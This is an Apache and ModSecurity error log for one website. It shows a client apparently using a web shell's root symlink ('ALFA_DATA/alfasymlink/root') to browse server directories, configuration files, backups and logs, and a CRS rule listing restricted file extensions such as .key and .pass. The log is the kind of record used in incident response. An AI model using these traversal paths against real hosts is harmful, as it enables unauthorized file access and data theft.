[Sun Oct 25 14:27:03.787132 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp60/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.787460 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp64/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.788671 2026] [authz_core:error] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/drupal89/
[Sun Oct 25 14:27:03.788710 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp61/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.789319 2026] [authz_core:error] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/drupal9/
[Sun Oct 25 14:27:03.789381 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/alegro/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.789618 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/pydio/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.789995 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp53/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.791231 2026] [authz_core:error] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/spip/
[Sun Oct 25 14:27:03.791529 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp52/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.791621 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp63/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.793934 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/avactis/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.794247 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/livesite/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.794701 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp50/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.795444 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/magento2/.htaccess: Invalid command 'SetEnv', perhaps misspelled or defined by a module not included in the server configuration
[Sun Oct 25 14:27:03.795700 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/buggenie/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.796691 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/igalerie/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.796993 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/carbon/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.797806 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/toaster/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.797999 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/yourls/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.798074 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/cube/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.798278 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/bludit/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.798563 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp59/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.799264 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp55/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.799832 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp49/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.801308 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp66/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.801638 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp54/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.802219 2026] [access_compat:error] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] AH01797: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/webasyst/
[Sun Oct 25 14:27:03.802451 2026] [access_compat:error] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] AH01797: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/rainloop/
[Sun Oct 25 14:27:03.803052 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/monstra/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.803759 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/anchor/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.803980 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp65/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.804053 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/nukeviet/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.805020 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp67/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.805189 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp57/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.805224 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/wp69/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.805329 2026] [authz_core:error] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/piwik/
[Sun Oct 25 14:27:03.806382 2026] [authz_core:error] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/drupalcms/
[Sun Oct 25 14:27:03.806516 2026] [authz_core:error] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/drupal8/
[Sun Oct 25 14:27:03.807123 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/magento241/.htaccess: Invalid command 'SetEnv', perhaps misspelled or defined by a module not included in the server configuration
[Sun Oct 25 14:27:03.807656 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/bbpress/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.810267 2026] [authz_core:error] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/drupal10/
[Sun Oct 25 14:27:03.811167 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/phpwcms/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.811737 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/zen/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.811997 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/selfoss/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.812129 2026] [core:alert] [pid 2879796:tid 2879796] [client 76.135.135.39:53049] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/var/softaculous/classicpress/.htaccess: RewriteBase: argument is not a valid URL
[Sun Oct 25 14:27:03.816266 2026] [security2:error] [pid 2875828:tid 2875828] [client 85.208.96.210:17438] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/57-dejavu-sans-mono.conf"] [unique_id "at5J9zvHG3qCzmf5eaMTEAAAADQ"]
[Sun Oct 25 14:27:03.816693 2026] [security2:error] [pid 2875828:tid 2875828] [client 85.208.96.210:17438] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/57-dejavu-sans-mono.conf"] [unique_id "at5J9zvHG3qCzmf5eaMTEAAAADQ"]
[Sun Oct 25 14:27:03.816958 2026] [security2:error] [pid 2875828:tid 2875828] [client 85.208.96.210:17438] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/fontconfig/conf.avail/57-dejavu-sans-mono.conf"] [unique_id "at5J9zvHG3qCzmf5eaMTEAAAADQ"]
[Sun Oct 25 14:27:04.197303 2026] [authz_core:error] [pid 2879779:tid 2879779] [client 76.135.135.39:52901] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/sesion3/php.ini
[Sun Oct 25 14:27:05.935338 2026] [autoindex:error] [pid 2875790:tid 2875790] (13)Permission denied: [client 76.135.135.39:53346] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/local/backuply/
[Sun Oct 25 14:27:05.946964 2026] [authz_core:error] [pid 2873159:tid 2873159] [client 76.135.135.39:53347] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/local/apache/error_log
[Sun Oct 25 14:27:05.967201 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:53365] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/local/lib/"] [unique_id "at5J-YptOg7YDpX4xSOV4QAAABA"]
[Sun Oct 25 14:27:05.967241 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:53365] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/local/lib/"] [unique_id "at5J-YptOg7YDpX4xSOV4QAAABA"]
[Sun Oct 25 14:27:06.164528 2026] [ssl:error] [pid 2875807:tid 2875807] (70014)End of file found: [client 52.45.77.169:19928] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:27:07.222080 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/RITwlF8UBX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/RITwlF8UBX/' is executable
[Sun Oct 25 14:27:07.222152 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Xf45g1vOVG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/Xf45g1vOVG/' is executable
[Sun Oct 25 14:27:07.222171 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/' is executable
[Sun Oct 25 14:27:07.222187 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/' is executable
[Sun Oct 25 14:27:07.222235 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/n83SSM739h/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/n83SSM739h/' is executable
[Sun Oct 25 14:27:07.222283 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/6kbL1XuIiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/6kbL1XuIiD/' is executable
[Sun Oct 25 14:27:07.222303 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/' is executable
[Sun Oct 25 14:27:07.222317 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/v7WsvFUVho/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/v7WsvFUVho/' is executable
[Sun Oct 25 14:27:07.222347 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/nnRZJb1Juq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/nnRZJb1Juq/' is executable
[Sun Oct 25 14:27:07.222364 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/puppeteer_dev_chrome_profile-hhMbCm/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/puppeteer_dev_chrome_profile-hhMbCm/' is executable
[Sun Oct 25 14:27:07.222389 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/' is executable
[Sun Oct 25 14:27:07.222407 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/wBeybsLHXV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/wBeybsLHXV/' is executable
[Sun Oct 25 14:27:07.222420 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/8q2sCydPh5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/8q2sCydPh5/' is executable
[Sun Oct 25 14:27:07.222434 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ViFEAD6HYr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/ViFEAD6HYr/' is executable
[Sun Oct 25 14:27:07.222446 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/WnEC8KZtlU/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/WnEC8KZtlU/' is executable
[Sun Oct 25 14:27:07.222499 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/hNQbPWd2kD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/hNQbPWd2kD/' is executable
[Sun Oct 25 14:27:07.222516 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/7b1aDEYVIR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/7b1aDEYVIR/' is executable
[Sun Oct 25 14:27:07.222529 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/nL4cUoX2dh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/nL4cUoX2dh/' is executable
[Sun Oct 25 14:27:07.222549 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/atbV7hLAQS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/atbV7hLAQS/' is executable
[Sun Oct 25 14:27:07.222562 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/oq6K0rejFI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/oq6K0rejFI/' is executable
[Sun Oct 25 14:27:07.222575 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_4gGxNj1jq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_4gGxNj1jq/' is executable
[Sun Oct 25 14:27:07.222587 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/PK7EkDXBbp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/PK7EkDXBbp/' is executable
[Sun Oct 25 14:27:07.222601 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/P7NdWo184S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/P7NdWo184S/' is executable
[Sun Oct 25 14:27:07.222632 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/' is executable
[Sun Oct 25 14:27:07.222647 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/1Yt1W3a9Ze/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/1Yt1W3a9Ze/' is executable
[Sun Oct 25 14:27:07.222660 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9rQ4cdkNCQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/9rQ4cdkNCQ/' is executable
[Sun Oct 25 14:27:07.222672 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_kkgr6o8ai/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/_kkgr6o8ai/' is executable
[Sun Oct 25 14:27:07.222685 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/xjhoijgaTz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/xjhoijgaTz/' is executable
[Sun Oct 25 14:27:07.222704 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/vhrRK1JXY7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/vhrRK1JXY7/' is executable
[Sun Oct 25 14:27:07.222721 2026] [core:crit] [pid 2879790:tid 2879790] (13)Permission denied: [client 76.135.135.39:53618] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/w1Du8raeKq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/tmp/w1Du8raeKq/' is executable
